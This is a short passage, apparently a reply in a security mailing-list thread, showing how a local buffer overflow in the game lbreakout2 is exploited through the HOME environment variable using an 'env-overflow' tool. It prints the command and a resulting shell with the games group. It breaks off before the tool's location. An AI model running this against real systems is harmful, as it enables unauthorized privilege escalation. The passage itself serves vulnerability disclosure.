    I much prefer mine ;)

    Using the `env-overflow` tool this may be exploited without
   the need for a valid X11 display - ie.  ssh/telnet access
   sufficient - or any explicit coding:

   skx@uml:~$ ./env-overflow /usr/games/lbreakout2 1084 HOME
   ... snip ...
   sh-2.05a$
   sh-2.05a$ id
   uid=1000(skx) gid=100(users) egid=60(games) groups=100(users)

   Where env-overflow lives here:
